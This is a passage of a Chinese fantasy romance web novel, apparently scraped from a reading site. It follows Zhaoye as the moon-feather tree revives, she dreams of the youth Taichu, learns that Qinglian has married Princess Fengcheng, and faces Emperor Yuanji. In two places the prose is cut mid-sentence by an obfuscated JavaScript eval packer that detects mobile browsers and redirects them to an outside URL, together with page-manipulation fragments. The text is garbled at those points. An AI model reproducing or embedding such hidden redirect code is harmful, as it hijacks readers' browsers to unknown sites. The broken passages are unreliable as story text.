无可阻挡!粗壮无比、流转着金银二色光辉的雄伟主干,以令人瞠目的速度贯通山腹,挤开岩层,冲破一切阻碍!它不是在生长,而是在贯穿整座翮山! 四百年的抽枝,四百年的展叶,四百年的花开……那需要漫长时光完成的生命历程,被压缩在这雷霆万钧、改写命运的一瞬。 最终—— 铮——!!! 一声清越无比、仿佛能洗涤灵魂的鸣响,贯穿天地! 月羽木巍峨华盖,承载着我们,悍然冲破了翮山之巅! 冰冷的玉轮湖水,化作倾盆大雨,轰然浇落。这至寒的泉水淋在宏音近乎枯萎的身体上,竟发出细微的“滋啦”声,蒸腾起一片白雾。宏音剧烈地咳嗽起来,眼睫颤抖着,于一片朦胧水光与清辉中,缓缓睁开了眼睛。 映入他涣散瞳孔的,首先是头顶那一轮……硕大无朋、清辉普照的—— 满月。 “我的天……终于出来了!哈哈哈,时间赶得正好,恰是沐月仪!”尾巴欣喜若狂、手舞足蹈,轻轻拽着我的发丝,示意我向下望去。 是的,我看见了。 我看见玉轮湖畔,无数城民如静默的潮水般围聚,翘首仰望那面古老的月翮壁,等待着一位能真正感召月辉的圣女将其点亮。我也看见了,那个与我有着约定的女子——名叫“盛放”的少女。她果真将我的话铭记于心,不眠不休地守在那冰冷的巨壁之下,双手紧紧攥着我留给她的那一枚,一定会发光的月信石吊坠,仿佛握着整个命运的重量,虔诚地、固执地,等待着某个近乎虚妄的奇迹降临。 奇迹啊,确实降临了。 看啊! 一棵通体流淌着皎洁银辉的参天巨木,宛如从亘古神话中直接走入现世的神迹,巍然矗立于天地之间!它自深沉的眠梦中苏醒,终于在此刻尽情舒展它被压抑了千年的身姿。那粗壮盘虬的树干,正如我梦中惊鸿一瞥——宛如一条银色巨龙,沉默而有力地托举着苍穹与明月;华盖般的树冠遮天蔽月,其上,无数形如飞羽、边缘流转着月白光华的银色花朵,在刹那间同时盛放! 清冷、纯净、浩瀚的月辉,如瀑布般从每一片银羽、每一朵花蕊中倾泻而下,与天际那轮圆满的玉盘交相辉映,竟令这漆黑夜空呈现出一种神圣的朦胧白昼之感。 焉耆悬停在高空,此处再无躁动灼热的风,剩下的,只有月羽木的呼吸。 深沉,又柔缓。 而那不远处的瑶扇城上,帝君渊寂负手而立。他望着那棵以不可思议的仙力浇灌、瞬间成就的擎天巨木,那双古井无波的眼中,竟头一次清晰地浮现出如此鲜活而复杂的情感——有一丝穿越漫长光阴的深切怀念,亦有某种下定了决心的、冰冷的决绝。 “尾巴!”我一把揪住正欣喜若狂、盘算着又能用多少月羽花泡澡的尾巴,撅起嘴抱怨,“这到底怎么回事?我用了那么多仙力浇灌月羽木,怎么感觉一点都没瘦!” “嘿嘿,还是瘦了一丁点的。”尾巴嬉笑着,顺着我的发辫滑下,落在宏音微微起伏的胸口,光晕凑近,仿佛在仔细端详这个刚刚苏醒的男人,“棋友,”他忽然没头没脑地对宏音说起了话,声音轻得像自言自语,“我承认你弈道不错,竟能从我的棋谱里悟出反制之法,也算有些本事。但你别得意……棋道,本非我所长。” “干嘛突然说这个,宏音又听不见。”我嘟囔着,心底却因尾巴话中透露的信息泛起涟漪,“话说你到底是谁?为什么天翮族会有你的棋谱?你的故乡……也在这里吗?岁兽妖,不是该生在魔界么?” 这时,一只微凉的手轻轻抚上我的脸颊。宏音不知何时已完全清醒,他脸色依旧苍白,眼神却清亮了许多。他望着我,嘴角牵起一丝虚弱却真实的浅笑,答非所问,声音低缓,“照夜,比起哑巴,还是选择一个骗子——留在身边吧。” “……”了然一笑,我向后仰倒,任由焉耆冰凉顺滑、宛如墨玉流泉般的毛发温柔包裹。我们就这般躺在巨兽温暖的背脊上,仰望着头顶那片被月羽木清辉与漫天星辰重新点亮的夜空,望着那轮仿佛触手可及、静谧而硕大的—— 月亮。 来到天翮城后,我好似再未见过这个青衣少年。他的相貌算不得惊艳,却极为耐看,像一卷墨色匀停的山水,越品越有韵味。此刻,他卷翘的眼睫因羞赧而微微低垂,轻颤如蝶翼。直到再也承受不住我直白的仰视,他才缓缓别过脸去,那原本轻拂过我耳畔的指尖,也悄然收了回去。 他的膝头一如既往,骨骼分明,坚硬得很,实在算不上一只好枕头。 但……至少这片虚境的主人未曾将我随意丢在地上,勉强也算得上体贴了。 眼前是全新的、我从未见过的景致。它不存在于我的记忆,也不在小青或煌木的梦境里——梦从不说谎,梦必须以记忆作为质料才可构筑。 潮湿的海风带着咸腥气息扑面而来,眼前是一道狭窄如裂缝的幽暗峡口,两侧崖壁高耸入云,遮天蔽日。唯有在正午时分,阳光才能如金色的利剑垂直刺入这峡湾最深之处,为万物披上转瞬即逝的荣光——那是可遇不可求的奇迹。 捧日峡。人界北部,霓影贝的故乡。我虽只在《太愚行记》中读过寥寥数语的记载,却在目睹的刹那,便认出了这令一切言语失色的极致壮美。 “尾巴说,‘太初’是姓氏,天翮古族最强盛的一支便姓这个。” 少年轻轻笑了一声,掌心扶着我的后脑,动作带着不易察觉的小心翼翼,“嗯,尾巴说得没错。”他的声音如同穿过峡口的微风,干净而清晰,“后来虽有许多人迁居而来,形成庞大的宗族,但唯有‘太初’一脉……才是最初的天翮族。” 我撑坐起身,追问道,“那天翮古族,信仰的真是月亮吗?” “……他们真正信仰的,其实是‘羽翮’。”自称煌木的少年抬起头,望向头顶那一线灰蒙蒙的天空,“天翮族一直以羽翼为图腾,渴望飞升天际,去看看更广阔的世界。只不过月羽木总在月夜盛放,才让人有了误解。”他顿了顿,语气变得轻柔,“但这并不重要。无论是过去的、还是如今的天翮族,无论信仰羽翼还是明月,本质上……并无区别。” 我们没能等来那道劈开幽暗的金色光柱。淅淅沥沥的小雨不期而至,打破了虚境的寂静。我缩了缩脖子,躲到少年身后,避开峡湾激浪拍岸溅起的冰冷白沫。 “……太初僊。”我小声唤他,又摇摇头,“我还是不习惯这样叫你。叫你‘小初’,可以吗?” 少年眉眼弯弯,侧过头来看我,眸中有光,“当然可以,照夜。从前族里人都习惯叫我‘阿僊’。但你叫我‘小初’,我也很喜欢。” 我犹豫片刻,还是将盘旋心底的猜测问出了口,“那些记载猫猫鱼、玉冰蓂,还有地火椒的书……著书人,是你吗?”问出这话时,我声音有些发紧,偷偷瞥他的神色。不知为何,我既怕他承认,又怕他否认。 小初却很坦然。他眼中依旧盛着明耀如朝阳的光芒,“嗯,是我。那时我负责看管书库,闲来无事,便随手记录一些风物趣事。”说到这儿,他忽然狡黠地眨了眨眼,凑近我耳畔,仿佛迫不及待分享一个秘密,“猫猫鱼,真的很好吃哦。只不过它们藏在极深的寒渊里,不易捕捉。日后你若机缘巧合遇见了……可以捉一条尝尝鲜。” 我小初他孩子气的口吻逗笑了,“你还特别喜欢地火椒,处处都要提一笔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549571|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不辣么?” 少年闻言,竟捧腹笑了起来,方才那点若有若无的仙气荡然无存,只剩下纯粹的欢欣,“最爱此味,回味无穷!”他拍了拍我的肩膀,笑声爽朗。然而,那笑意很快便收敛了,眼中的光亮被一层深沉的哀伤与怀念悄然覆盖。 “只可惜……”小初轻声说,像是叹息,“地火椒,已经灭绝了。” 我拽了拽小初的衣袖,咂咂嘴,努力让语气轻松些,“万物盛衰有常嘛。没有了地火椒,但农事官却培育出了两倍大的山芋。虽然我还没亲眼见过,但听说魔界都已大面积种植了呢。” 小初微微一愣,随即抬手,很轻地揉了揉我的发梢。笑意再次回到他脸上,这一次,温柔而释然,“嗯,你说得对。”他望着峡口外翻涌的、看不见的海,“要接受……死亡与新生,本就相伴相生。” 梦濒临醒来,我随着摇晃不止的虚境仿佛要碎裂成千万片光羽,溯向虚无的空中。 少年紧紧拉住我的手。在最后崩塌的瞬间,他仿佛下了极大的决心,凝望着我的眼睛,说道,“照夜,我见到青莲了。也……转达了你对他的思念。” “那多谢你啦。”我努力冲小初笑道,“不过,我马上就要亲自去找他了。” “……” 虚境彻底崩塌,化作亿万片纷扬的流光。在意识被抽离的最后一刹,我却从小初哀伤欲绝的嘴角,清晰地读出了那未曾宣之于口的三个字—— 对不起。 对不起,照夜。 道歉,是一种总让人心头发紧的行为。那“对不起”三个字背后,往往藏着某种令人本能地想回避的、沉甸甸的境遇。 湿漉漉的触感将我唤醒,随之灌入耳中的,是尾巴抑扬顿挫的“哭嚎”。 我有些茫然地坐起身,将那张正趴在我脸上、好似涕泪横流的光团扒拉下来,“干嘛?尾巴,你在哭吗?” “那倒没有,”尾巴立刻收了声,语气甚至有点得意,“我刚泡完月羽花浴,新鲜的,铺了满满一层。” 头部传来一阵落枕般的钝痛。我环顾四周,是熟悉的寝屋——宏音的家中。然而,一股莫名的心悸攥住了我,心跳快得不合常理,仿佛某种不祥的预感已先于理智敲响了警钟。直到尾巴将他嚎啕的原因告诉我: 尾巴的窝,青莲亲手捏塑的青莲瓶——碎了。 原本莹润透绿的花瓣,此刻黯淡枯槁,爬满了蛛网般细密的裂痕,失去了所有生机与色彩,化作一碰即碎的灰褐色薄片。我只是指尖轻轻一触,它们便悄无声息地崩解,散落成无从拾掇的尘末。 见我久久沉默,尾巴小心翼翼凑近,光晕柔柔地贴了贴我的耳垂,声音放得极轻,“大概是……先被地窟里极致的热浪灼烤,又猛地浸入了冰寒刺骨的玉轮湖水。极热与极寒交替得太快,花瓶……受不住。” “……嗯。”我听见自己的声音平静得有些陌生,“等见到小青,让他再重新捏一个就好。反正他的花瓣,多得用不完。” 尾巴似乎松了口气,软软地耷拉在我胸前,“你睡了整整两天,”他转开话题,语气里带着外面世界带来的喧嚣感,“外面可是变天咯。” 不知是否是我的错觉,那漫长刺骨的冷冬,仿佛真的随着月羽木的盛放而悄然终结,春意正一丝丝渗入空气。又或者,只是天涧寒泉有了更重要的用途,不必再作为沐浴水折磨我,使得泡在温水中的我,有了气温回升的错觉。 “城里忙得像打仗,宏音大人病还没好利索,就忙得不见人影。唉,月终大人的伤也还需将养,真是兵荒马乱的。”汀汀一边用软巾替我搓背,一边叹息,“好在,新的圣女大人总算诞生了。” “是盛放吗?” 汀汀掩嘴轻笑,语气里满是与有荣焉的喜悦,“自然是盛放大人。那夜,她手中的月信石真的发出了光!大家都看见了,是她感召了月辉,引来了神迹,令月羽木重现人间。” 我长长舒了一口气,笑意终于抵达眼底,“那是当然。她可是从我们‘浩烈特色粥铺’走出来的人——未来的圣女兼圣司大人,外号‘法外狂徒’的盛放是也!” 106. 第107章 不被承认的圣女 我刚换好衣裳,一身水汽还未散尽,清晨便出门的宏音却意外地折返回来。他气色肉眼可见地好了许多,眉宇间虽仍残留着疲惫,但那份沉疴缠身的灰败已褪去。只是体内沉积的火毒需徐徐清理,过度耗损的仙力也需漫长的时间来温养恢复。 宏音捏着我的肩头,将我上下仔细打量了好几遍。忽然,他俯下身,极其轻柔地将脸颊贴了贴我的侧脸,那一直紧绷的肩膀线条这才松弛下来,“你睡了太久,一动不动,只有微弱的呼吸……吓了我一跳。” 我笑起来,试图让气氛轻松些,“这算什么,我之前从归德离开后,可是睡了小半年呢。” “……嗯。”宏音直起身,嘴角微微弯起,眼底是未散尽的余悸,“你没事就好。”目光在我脸上停留片刻,他又补充道,“几乎没瘦……不过,还是很好看。” 我有些丧气,把躲在我衣襟前的尾巴揪了出来,叹了口气,“算啦,认命了。胖就胖吧,反正小青不会不喜欢我。” “照夜。”宏音唤了我一声,似乎想说什么,却欲言又止。末了,他只是轻轻推了推我的肩膀,转向了另一个话题,“无悔在前厅等你,去吧。” 我还以为无悔有什么火烧眉毛的急事,结果这鲛人,纯粹是八卦之心沸腾,迫不及待要与人分享。他拽着我一路走,口若悬河,手舞足蹈,浑身上下哪还有半分传说中鲛人清冷出尘的仙气。 之前的地动对天翮城建筑造成了一些损坏,城中四处响起修复的敲击声。原本滞留在城南天水集、等待审核入籍的移民,也因此获得了大量工作机会,被破格提前授予了天翮城户籍。生机与忙碌,正一点点覆盖灾难的痕迹。 我抬头,遥望翮山之上那株巍然耸立、通体流转月华的巨木,依旧感到一丝不真实的恍惚。若非亲眼看见那如羽翮般的银花在微风中轻盈摇曳,宛若振翅欲飞,我实在难以相信,那截几乎枯败的残枝,竟能在瞬息间完成如此磅礴的成长与盛放。 问起盛放的近况,无悔告诉我,她暂且住在月教院。因月终当众犯下大错,信女人心浮动,盛放便主动要求入主其中,代为执掌事务。 说到此处,无悔也深深叹了口气,“一个曾被刻上‘不贞’与‘背叛’烙印的人,最终却成为了天翮族的月翮圣女……命运还真是讽刺。” 我却笑着摇头,迎向拂面的清风,“不重要了。昨日种种,已是昨日。而明天——”我顿了顿,声音轻快而坚定,“毕竟已是全新的明天了!” 无悔之前慌慌张张来找我时,我还以为出了什么塌天的大事,急需我“照夜大人”出面调停。结果,被拉到桃夭医馆后,我看着眼前这诡异的阵容:依旧被裹成“巨型粽子”、只露出眼睛的大铁棘;哭得梨花带雨的魔界第一胖美人环琛;一脸寒霜的魔界代理国师原途;以及那位根本不会医术却混成三界名医的桃夭……我才恍然,自己醒来后接到的第一个“重任”,竟然是作为环琛的“姐妹团”,帮她说服她那脸色铁青的兄长。 “我不管!我就要跟大铁棘走!我不回家了!”环琛哭得上气不接下气,整个人几乎要嵌进动弹不得的大铁棘身上,铁了心要追随自己崇拜的偶像浪迹天涯。 看样子双方在我来之前已激烈交锋数轮,此刻正处中场休息。见我进来,原途一屁股坐下,端起茶杯猛灌一口,润泽他因怒气而有些发干的喉咙。身为环琛与泉礼的长兄,他容貌自是绝佳,可那心眼……就不那么美妙了。 “也罢。”原途放下茶杯,目光忽然转向我,语气凉凉,“环琛不愿归家,总得给魔皇陛下寻个新伴儿。就你吧。” 我一头雾水,白眼几乎要翻到天际,“我才不去!我要去找小青了,横竖这里没我什么事了!” 原途嘴角忽然勾起一丝诡异的弧度,正欲开口。我身边的无悔和桃夭仿佛预感到什么,脸色骤变,同时扑上前去,试图捂住对方的嘴—— 但为时已晚。 原途的话已清晰无比地从齿间迸出,字字如冰锥。 “还小青呢?这帮家伙可真有趣,偏偏都瞒着你。你那心心念念的青莲仙人,早在半年前——就与凤琤公主成亲了!这桩‘大喜事’三界皆知,独独你照夜,被蒙在鼓里!” 刹那间,医馆内静得可怕,仿佛连空气都凝固了,一丝风吹过便能将这片寂静击得粉碎。我甚至能听见自己眼泪砸落在地板上的细微声响,啪嗒,啪嗒。 尾巴悄悄探出,用柔和的光晕接住一颗下坠的泪珠,随即小心翼翼地攀上我的脸颊,温暖的光团轻轻蹭了蹭我颤抖不止、失去血色的嘴唇。 无悔慌忙掏出手绢为我拭泪,气得耳后那片淡蓝鳞片都隐隐泛红,“原途大人!你……你何必说出来!不是约好了暂且不提此事吗?何必欺负一个心思单纯的小孩儿!” 桃夭咬紧下唇,眼中也漫起不忍与愤慨,终究还是说道,“算了,无悔。瞒着也改变不了事实。照夜迟早会知道的,不是么?” 原途瞥见我失魂落魄的模样,似有一丝不忍掠过眼底,声音压低了些,“罢了……何必将心思放在一个负心之人身上。我魔界不齿青莲为人,这半年来都未给他投过票。当然,这点票数,也拦不住他重归上仙之列就是了。” 这时,被裹得严实、无法开口的大铁棘忽然发出一连串急促的“呼噜”声。环琛凑近听了听,小声翻译道,“大铁棘说……等他好了,定要去帮照夜揍青莲一顿出气。” 无悔长叹一声,手掌温柔地抚着我的后背,“别太伤心了,照夜。好儿郎天下多得是。青莲为攀附渊寂而负你,是他混账,不值当你如此伤心。我们鲛人族里还有许多俊逸清朗的子弟,我免费替你牵线——” 原途立刻坐直身子,截断了无悔的话头,“诶,少来这套!照夜,不如随我回映山都。至少我们魔皇陛下心中从来只容得下一人,绝不会辜负于你。” “哼,”桃夭在一旁小声嘀咕,却清晰可闻,“男人啊,就没有一个不花心的。” 无悔疯狂向桃夭使眼色,压低声音,“都少说两句吧!再惹哭照夜,宏音知道了非得砍死我们不可……” “……我,我去洗把脸。” 我被一股没来由的、近乎原始的慌乱攫住了心脏,猛地起身,几乎是夺门而出。沉重的双腿拖着不听使唤的身躯,穿过街市熙攘喧闹的人群,爬上高耸的城墙,在天翮军士惊愕的目光下,翻过墙垛,一头扎进了城外荒莽的郊野。 月羽木重生后,其庞大的根系仿佛无形的脉络,吸收、调节着地脉水汽,使得洞穴外的地下溪流水势平缓,仅及膝盖。我踉跄着踏入水中,逆着那幽暗的水流,一步步走入吞噬光线的洞穴深处。 我自幼是有些怕黑的。儿时夜里入睡,总要阿爹在墙角点一盏小小的油灯。后来捡到了穆青,阿爹便“偷了懒”,将哄我入睡的差事交给了那个尚是少年的他。自那以后,我便不再需要那盏灯了。穆青的怀抱里同样一片漆黑,可只要将耳朵贴近他的胸膛,听着那沉稳、规律的心跳声——咚,咚,咚——我便不怕了。 微光在眼前浮动。是那些通体澄澈的猫猫鱼,它们因河道被月羽木根系改变而困于此地,此刻正无助地挤作一团,发出幽幽的、如星子般的光亮。见我涉水而来,它们仿佛见到了救命稻草,纷纷聚拢,围着我疯狂打转。 我走到被巨石堵塞的河道尽头,停下脚步。胸口那团郁结的、滚烫的痛楚几乎要炸开。我捏紧了拳头,心念微动,赤红色的晶盾瞬间自我拳锋蔓延凝结,如同覆盖上了一层燃烧的、坚硬的甲胄。刚好一腔难过无处发泄,我左一拳右一拳,咚咚咚敲碎了坚硬的大石头。 “好家伙……”尾巴飘在一旁,光晕随着我的动作起伏,语气里带着惊叹,“你有这伟力,当初何必害得玄洛君用脑袋开道,撞得头破血流。” 我喘着粗气,胸口剧烈起伏,看着被自己硬生生砸开的通道,哑声道,“讨厌……我现在又生气,又难过……不想说话。” 下意识地,我想抓起尾巴,塞进青莲瓶里——手指却摸了个空。 腰间,空空如也。 是啊……青莲瓶,已经碎了。 那朵只属于我的、漂亮又温柔的小小青莲花,我终于还是……失去了。 酸楚猛地冲上鼻腔,视线瞬间模糊。我再也忍耐不住,一边嚎啕大哭,一边深一脚浅一脚,在成团的、散发着微光的猫猫鱼簇拥下,继续逆着水流,走向山洞更幽邃的深处。直到周遭的岩壁变得熟悉,水流声也带上回忆的回响——我回到了最初,与无悔一同跌落此间的那个地方。 这里足够深,足够静,也足够……安全。 想必,不会有 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“嗯。”宏音没有否认,声音低沉,“我甚至下令撤去了城中所有能显示仙界消息的云雾屏,只为封锁有关青莲仙人的一切传闻。为此……还引来了星允多次弹劾,说我闭塞视听,有违仙律。” 见我眼泪又不争气地涌了出来,宏音用那带着薄茧的、粗糙却温柔的指腹,一遍遍耐心地拭去我的泪痕,动作轻得像怕碰碎什么。 “他们的大婚,普天同庆,足足闹了一个月。”宏音低声说,每个字都像浸着冰水,“三界都在传,帝君要将青莲当作接班人来培养,赞他们是天造地设的一对……无人不为之庆贺。除了那时尚在沉睡、一无所知的你。” “小青不会丢下我一个人的。”我摇着头,固执地重复,仿佛这样就能让话语成真,“他绝对不会……伤害我。绝对不会。” 尾巴“嗖”地窜到我头顶,光晕急促闪烁,也跟着大声附和,“就是就是!青莲此生最爱就是照夜,爱到骨子里那种!他绝对不会伤害照夜,绝对不会——” 我稍稍松了口气,伸手摸了摸激动的尾巴。还好,他是清醒的,他知道穆青不会那样对我。 宏音听着,沉默了片刻,眼底掠过一丝无奈的黯然。最终,他几不可闻地叹了口气,指尖轻轻点在我的额心。 “我明白了,照夜。”宏音的声音恢复了平静,带着一种下定决心的力量,“我陪你去。去灵璧城,当面找青莲仙人,要一个清清楚楚的说法。” “啊?可你是城主,你走了天翮城怎么办?我自己去就可以……” “先出去再说。”宏音没有直接回答,而是抬手凝出一叶透明的水舟,扶着我踏上去,“青莲仙人如今在源涡池附近的九百玲珑秘境中闭关。那地方,若无引荐或特定修为,你根本无法接近。”水舟悠悠逆流而行,宏音望着前方黑暗的甬道,语气平淡地补充,“况且……我这个聆月使兼城主的位置,或许……也快坐到头了。” 宏音并未带我回聆音石府,而是转道去了月教院。院内的气氛异常低迷,连一向精干的彤宝姑姑都显得萎靡不振,周遭的信女们也个个面色惶然。时隔多日,我终于再次见到了盛放,还有正在此处出诊的桃夭,以及……刚刚苏醒、脸色苍白的月终。 见我双眼肿如核桃,盛放立刻红了眼眶,快步上前紧紧握住我的手。趁那边几位大人低声商议的间隙,我与她得了片刻说话的空当。 “我早就说了,男人没一个好东西!”盛放听我哽咽着说完,气得攥紧了拳头,指甲几乎掐进掌心,“别为他们流眼泪,照夜!不值得!” 我瘪着嘴,点了点头,“我……我会去找小青。要把事情始末,当面问个清楚。然后再决定要不要原谅。” 盛放叹了口气,目光瞥向不远处正低声与月终说着什么的宏音,压低声音,“我陪你一起去吧,照夜。我怕你到时候心软下不了手。” “啊?可你已经是月翮圣女了,怎么能离开天翮城?”我闻言连连摇头,“事情有轻重缓急,要冷静……” 话未说完,我却见盛放垂下眼帘,神色间并无成为圣女的笃定与喜悦,反而笼着一层淡淡的阴霾。我心头猛然一紧,一个模糊的猜测浮上脑海——难道,那夜万众瞩目的“感召月辉”,还未真正为她奠定名分? 再也顾不得许多,我转身疾步冲到宏音身边,抓住他宽厚的肩膀,急切地摇晃着,“宏音,发生什么事了?!” 107. 第107章 唇色苍白的月终泪流满面,眼中浸满了沉甸甸的懊悔,“怪我……都怪我。当初是我,为了破坏圣女选拔,暗中与星允勾结。他知晓我指使钱太多收购月信石吊坠之事,更……更挖出了当年棠梨自小被操控、培养成圣女的旧事。”她的声音因哽咽而断续,“星允便以此为由,联合一众金珠、玄珠位阶的上仙联名上书,直奏仙帝,指称此次圣女选拔本身早已失格,沦为三界笑谈,要求……永久撤销天翮族圣女与圣司之职。” 我脑中“嗡”的一声,像有什么东西炸开。揉了揉酸胀刺痛的太阳穴,我急声追问,“哪怕那夜盛放令月信石发光,全城百姓都亲眼见证了,也不行吗?” 一旁默默垂泪的彤宝姑姑抬起红肿的眼,哽咽道,“他们以月翮壁未发光为由,不承认盛放圣女的资格,更全盘否定整个选拔的正当性。阿烈和浩哥气不过,与人争执起来,眼下还被关了禁闭……” “什么?!”只觉一股热血直冲头顶,我气得来回踱步,额上渗出细密的汗珠,“岂有此理!他们这是存心找茬,蓄意刁难!” 宏音深吸一口气,压下翻涌的情绪,轻轻拍了拍月终紧握成拳的手,“无妨,”他的声音沉静,却透着一丝疲惫的了然,“仙帝此举,不过是想逼我去灵璧城。他在等我……低头服软。” 我困惑地看向宏音,“怎么?你……很特别吗?为何非要逼你去灵璧城?” 月终摇着头,悔恨与哀痛几乎将她淹没,“宏音的仙力具有极强的‘附着力’与‘感知力’,甚至……可能超越了昔日的百目仙人。当年仙帝登基大典,百目仙人的法眼被雷枢的雷电所伤,监察三界之力大打折扣。”她抬起泪眼,望向宏音,声音发颤,“而宏音的能力……正是仙帝如今最需要的,用来替代、甚至可能掌控的——新的‘天眼’。” 我倒颇觉得意外,“我还以为,他们只是贪图天翮族地下的宝藏……” 桃夭捏紧了拳头,指甲掐进掌心,愤然道,“照夜,你说得对!只不过这群高高在上的‘仙人’——他们全都要!宏音这个人,天翮这座城,还有地底那些古族的遗泽,他们一样都不想放过!” 敢情,渊寂此行是来洗劫天翮城的。我不由摇头苦笑,本以为天翮城内已是奸商骗子遍地,殊不知,真正翻手为云、覆手为雨的,是瑶扇城之上那只无形的大手。 临走时,我再次向盛放确认了她的心:她究竟想不想成为圣女。 盛放眼神晃动,嘴唇翕动了几下,最终却只是茫然地摇了摇头。 她不知道。她给不了我确切的答案。 回去的路上,晚风带着凉意。我忽然想起很久以前,古阿翁和钩星将我骗出青莲山时的光景。时间过得真快啊,不知不觉,竟已走到了这样一个前路渺茫的岔口。想回到无忧无虑的过去已不可能,想迈向未来,却又不知路在何方。 草草洗漱后,我将自己埋进柔软却冰凉的锦被里,身心俱疲。宏音坐在床边,一下一下,节奏缓慢地轻抚着我的后背。他的神情与我初见他时似乎并无太大分别,眉间依旧凝着化不开的哀伤和沉郁,只是如今,那哀伤和沉郁里似乎又多了一些别的、我尚且看不懂的东西。 “睡吧,别想太多。”宏音的声音很低,像夜风拂过窗棂,“漂亮的脸蛋,总要挂着笑容才更好看。” “你难道不担心吗,宏音?”我将脸埋进枕头,闷声问,“天翮族……可能真的要彻底失去天翮城了。哪怕月羽木重生,哪怕地火暂熄,哪怕怪物被镇压,结局似乎都一样。” 宏音轻轻笑了笑,指尖拂过我的眉梢,将悄悄蹭过来的尾巴塞进我虚握的手心。“天翮族的未来,属于每一个天翮族人,而非系于我一人之身。” “……既然你有这般觉悟,当初又何必处处阻拦,不肯让仙界轻易接管?” 宏音难得地眨了眨眼,流露出一丝近乎狡黠的神采,他伸手将我额前汗湿的碎发拨到耳后,小声道,“还记得吗,当初众人向你‘许愿’时,我说过什么。” 我当然记得。宏音说,他“盯上”我,只是因为不想那么简单就把天翮族交出去。 “哪怕只是无谓的挣扎,”宏音俯下身,一个轻如羽毛、不带任何欲念的吻,珍重地落在我的额心,带着慰藉的温度,“我也选择,试一试。仅此而已。”他的目光深深,仿佛透过我看到了另一个执拗的身影,“从棠梨那里学来的‘坏习惯’我会坚持下去的。晚安,照夜。” 日子似乎并未因那场惊天动地的变故而发生太大改变。我和尾巴终日躲在藏书馆的角落,他依旧执着地钻研着那些古旧的棋谱——输给宏音一事,显然让他耿耿于怀,尽管他总嘴硬说那只是“故意”相让。 我呢,则试着依赖体内那股金色仙力,企图读懂天翮古文字,却终究一无所获。这些书籍感应不到特定的仙力“钥匙”,便不会主动显现隐藏其下的真实文字。因此,即便我知道了天翮古文字并不神秘,只是精妙加密过而已,眼前满架“天书”,于我而言依旧是一片茫然。 不过,看看带插画的书倒也无妨。连蒙带猜,也能窥见一丝古天翮族生活的情趣。 譬如此刻我手中这本,正描绘着人们在巍峨的月羽木下欢聚宴饮的场景,笔触生动,仿佛能听见当时的笑语。 “你倒还有闲心看这些闲书?” 一个略显阴郁的声音传来。我抬眸,对上溟牙那双标志性的竖瞳。我撅起嘴,没好气道,“要你管。” 溟牙摊开一只手,脸上没什么表情,语气却像讨债,“赔钱。你把我的玄洛君折腾成那副模样。” 我“噌”地跳起来,火气直冒,吓得溟牙下意识后退了两步——他可是见识过我的“伟力”。 不待我开口,溟牙赶忙摆了摆手,“罢了罢了,我这次来,是替星允上仙带句话。他要找你算账,你最好……有个准备。” 我冷嗤一声,“你好歹也是帝君座下‘老二’,怎么总干跑腿传话的活儿?怎么不叫那个碎蝶来?” 溟牙深吸一口气,懒洋洋地靠在一旁的书架上,“碎蝶是师父眼下正宠着的新人,捧在手里怕摔了,含在嘴里怕化了,怎么可能让她给大师兄跑腿?罢了……谁让我‘好脾气’呢。” “你才不是好脾气,你是好欺负!”我忍不住呛溟牙一句。 “……怎么,知道了青莲的事,心里不痛快,专挑我这‘无辜’的撒气?”溟牙斜睨我一眼,哼道,“木已成舟,人家如今出双入对,恩爱非常,你再怎么生气吃味,也无济于事。” “我一醒来,第一个遇到的就是你!你当时为什么不告诉我?!”旧事重提,我心中的委屈和怒火又涌了上来。 溟牙闭上眼睛,似乎有些无奈,低声道,“你没问我啊。我这人向来不爱说人是非。”他顿了顿,睁开眼,“走吧,帝君召见。” 乘着飞兽向南而行,我得以从低空掠过已然大变样的天水集。这里俨然成了一座规模不小的热闹城镇,人流熙攘,远超我的想象。我们沿着奔流向南的粒粒江飞行一段,最终在一处幽静澄澈的湖泊前停下。 今日,帝君渊寂竟有闲情从高悬的瑶扇城中出来,临湖垂钓。令我有些意外的是,上次被大铁棘狠狠教训过的星允大将也在——身躯倒是抗揍,竟已能下地活动了。 除却瑶扇仙人,湖畔还有几张生面孔。一位是身形魁梧如铁塔、肌肉虬结的壮汉,另一位则是矮小瘦削、白发红颜的老者。 至于渊寂,依旧是一身玄色素衣,他手持钓竿,神情平淡得让人难以捉摸。 除却讨厌的人,湖水澄澈、波光潋滟、春来风动,倒是不错的景致。 我下意识把正在我胸沟里打盹的尾巴往里塞了塞,规规矩矩上前,向渊寂行了大礼。 “这位,便是当初伙同逆贼炸湖的——照夜?” 一道轻蔑的目光投来,带着毫不掩饰的审视。我抬头,看向那发话的魁梧壮汉,压下心头不悦,拿出了仅剩不多的教养,“是。草民便是照夜。” 瑶扇仙人见渊寂不语,便低声介绍起来。原来那身形粗豪的壮汉,便是镇守化西前线的昆吾仙人;而那鹤发童颜的老者,则是已有一千六百余岁高龄、掌管仙界典藏司和仙碑司的无极仙翁。 典藏司……我心中微动,穆青当年,可没少从这老头眼皮子底下“借”走些不打算归还的书册。 “照夜,”声音平淡地响起,渊寂的目光仍落在湖面浮漂上,“吾之前命你每日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549573|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前来聆听教诲,何以抗命不至?” 我故作恍然,连忙拍了拍额头,“回帝君,草民……把这事儿给忘了……” 